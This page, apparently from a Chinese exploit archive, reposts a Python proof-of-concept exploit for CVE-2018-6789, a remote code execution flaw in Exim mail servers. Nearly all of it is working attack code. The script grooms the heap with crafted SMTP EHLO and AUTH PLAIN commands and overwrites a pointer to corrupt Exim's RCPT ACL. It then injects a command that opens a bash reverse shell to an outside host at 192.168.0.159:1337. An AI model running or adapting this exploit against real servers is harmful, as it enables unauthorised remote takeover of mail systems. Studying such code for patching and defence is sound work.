| 
 Exim < 4.90.1 - 'base64d' Remote Code Execution 
				  | 
 
 
|  
来源:straightblast426@gmail.com 作者:straight_blast 发布时间:2018-05-03 
   | 
 
 
 
 | 
	 #!/usr/bin/python import time import socket import struct s = None f = None def logo():    print    print "        CVE-2018-6789 Poc Exploit"    print "@straight_blast ; straightblast426@gmail.com"    print def connect(host, port):    global s    global f    s = socket.create_connection((host,port))    f = s.makefile('rw', bufsize=0) def p(v):    return struct.pack("<Q", v) def readuntil(delim='\n'):    data = ''    while not data.endswith(delim):       data += f.read(1)    return data def write(data):    f.write(data + "\n") def ehlo(v):    write("EHLO " + v)    readuntil('HELP') def unrec(v):    write(v)    readuntil('command') def auth_plain(v):    encode = v.encode('base64').replace('\n','').replace('=','')    write("AUTH PLAIN " + encode)    readuntil('data') def one_byte_overwrite():    v = "C" * 8200    encode = v.encode('base64').replace('\n','').replace('=','')    encode = encode[:-1] + "PE"    write("AUTH PLAIN " + encode)    readuntil('data') def exploit():    logo()    connect('localhost', 25)    print "[1] connected to target"    time.sleep(0.5)            ehlo("A" * 8000)         ehlo("B" * 16)    print "[2] created free chunk size 0x6060 in unsorted bin"         unrec("\xff" * 2000)    ehlo("D" * 8200)    one_byte_overwrite()    print "[3] triggered 1 byte overwrite to extend target chunk size from 0x2020 to 0x20f0"         fake_header  = p(0)     fake_header += p(0x1f51)    auth_plain("E" * 176 + fake_header + "E" * (8200-176-len(fake_header)))    print "[4] patched chunk with fake header so extended chunk can be freed"         ehlo("F" * 16)    print "[5] freed extended chunk"         unrec("\xff" * 2000)    unrec("\xff" * 2000)    print "[6] occupied 1st and 3rd item in unsorted bin with fillers"         fake_header  = p(0x4110)    fake_header += p(0x1f50)       auth_plain("G" * 176 + fake_header + "G" * (8200-176-len(fake_header)))    print "[7] patched chunk with fake header so extended chunk can be allocated"         address = 0x55d7e5864480    auth_plain("H" * 8200 + p(0x2021) + p(address)  + p(0x2008) + "H" * 184)    print "[8] overwrite 'next' pointer with ACL store block address"         ehlo("I" * 16)    print "[9] freed the ACL store block"         acl_smtp_rcpt_offset = 288    local_host = '192.168.0.159'    local_port = 1337    cmd = "/bin/bash -c \"/bin/bash -i >& /dev/tcp/" + local_host + "/" + str(local_port) + " 0>&1\""    cmd_expansion_string = "${run{" + cmd + "}}\0"    auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "J" * (8200 - acl_smtp_rcpt_offset - len(cmd_expansion_string)))     print "[10] malloced ACL store block and overwrite the content of 'acl_smtp_rcpt' with shell expression"      write("MAIL FROM:<test@pwned.com>")    readuntil("OK")    write("RCPT TO:<shell@pwned.com>")       print "[11] triggered RCPT TO and executing shell expression ... enjoy your shell!"    print if __name__ == '__main__':    exploit() 
	
  | 
 
 
|   | 
 
  | 
 
 
 
[ 推荐] 
[ 评论(0条)] 
[返回顶部] [打印本页] 
[关闭窗口]    | 
 
 
|  
 | 
 
 
|   | 
 
  | 
 
  
 | 
 
        
  | 
  | 
推荐广告 | 
 
  | 
 
  | 
 
| 
	
		
		
 | 
 
 
 |